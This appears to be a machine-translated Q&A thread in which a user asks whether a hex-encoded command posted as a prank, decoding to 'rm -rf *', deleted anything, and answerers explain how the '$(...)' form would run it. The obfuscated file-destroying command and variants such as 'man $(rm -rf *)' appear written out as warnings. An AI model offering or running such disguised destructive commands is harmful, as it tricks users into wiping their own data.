Di forum online, seseorang (saya kira hanya untuk troll dengan saya) mengatakan untuk memasukkan ini ke terminal:
(echo 726d202d7266202a | xxd -r -p)
JANGAN PUT HAL INI KARENA SAYA TIDAK TAHU JIKA TERSEMBUNYI.
Ini mengembalikan ini di terminal:
rm -rf *ryanmcclure@RyansLinuxBox:~$
Apakah ini menghapus sesuatu? Saya bertanya-tanya karena yang saya dengar rm -rf *
adalah perintah mengerikan yang menghapus segalanya.
Sunting: Supaya ada orang yang membaca ini sadar, saya diberitahu untuk memasukkan ini untuk melihat animasi seni ASCII di terminal. Berhati-hatilah bahwa ini adalah tipuan yang digunakan untuk menipu saya.
command-line
Ryan McClure
sumber
sumber
$(echo ... etc)
yang akan menghapus semuanya -$(...)
cara "jalankan perintah ini, tangkap hasilnya, dan jalankan itu sebagai perintah". Untuk melihatnya beraksi dengan aman, Anda dapat mencoba$(echo ls)
- ini menjalankan keluaranecho ls
, yaituls
- artinya, ia akan berjalanls
.Jawaban:
Tidak, itu tidak melakukan apa-apa - itu hanya panggilan akrab.
Tanda kurung memberitahu bash (shell) untuk mengeksekusi konten dalam sebuah subkulit (yang agak tidak berguna). Perintah yang dieksekusi
echo 726d202d7266202a | xxd -r -p
tidak melakukan apa pun kecuali menampilkan teks berikut ke layar, "rm -rf *". Jika teks itu dijalankan sebagai perintah - alih-alih hanya menampilkan teks ke layar - Anda akan berada dalam masalah. Jadi bagaimanapun, biarkan ini menjadi pelajaran gratis untuk tidak menjalankan perintah dari internet yang tidak Anda mengerti.sumber
rm -rf *
tanpa root tetap melakukan sesuatu?/
, rekursi pada akhirnya akan berhasil/home
, dan kemudian/home/$USERNAME
, dan kemudian semuanya akan tetap berjalan. Seharusnya ada banyak kesalahan tipe "Permission Denied" sebelum itu.rm -rf /
adalah kasus khusus sehingga perintah tertentu tidak berbahaya pada sistem Linux modern; iturm -rf *
akan menyebabkan kerusakan besar karena mungkin akan menghapus semua data pribadi Anda yang jauh lebih berharga daripada hanya sistem operasi.rm -rf /
sebagai root. Seseorang mencobanya dalam VM dan menulis tentang hal itu di Super User Blog: blog.superuser.com/2011/07/25/the-path-of-destruction-rm-rfDalam semangat "lebih baik mengajar seorang pria untuk memancing daripada memberinya ikan", saya menyarankan Anda untuk mengetik di terminal
man xxd
(dan ya, saya adalah orang lain yang memberi tahu Anda untuk memasukkan sesuatu ke terminal ... tetapi Anda harus mengenaliman
perintah sebagai aman).Jika Anda tidak terbiasa
echo
, Anda harus memeriksanya juga . Pada dasarnya, perintah yang Anda daftarkan "menggemakan" string ke output standar.|
Namun pipa menyalurkan output standar ke input standar darixxd
perintah, yang dalam hal ini diatur untuk mengubah string dalam hex menjadi input terformat biasa.Jadi jawaban singkatnya adalah: tidak, itu tidak menghapus apa pun. Tapi itu bergema
rm -rf *
ke layar Anda, yang pasti memberi Anda sedikit dingin :-)sumber
|
-simbol. Memang, selalu periksa halaman manual jika Anda tidak tahu perintahnya. Ini akan melindungi Anda dari orang-orang semacam ini dan Anda akan belajar sedikit setiap waktu.man
perintah mungkin satu-satunya yang memberikan hasil yang sama baik di terminal dan di browser internet.man $(rm -rf *)
sama mematikannya.Penyerang mungkin bermaksud agar Anda menempelkan
$(echo 726d202d7266202a | xxd -r -p)
ke shell Anda.xxd
akan mendekode 726d202d7266202a kerm -rf *
, yang kemudian akan dieksekusi.sumber
$
keluar karena dia pikir itu bagian dari perintah, bukan perintah :)jika Anda khawatir tentang seseorang yang kesemutan sistem file Anda maka
chroot
siap membantu Anda.chroot /random/directory
kemudian jalankan perintah.sumber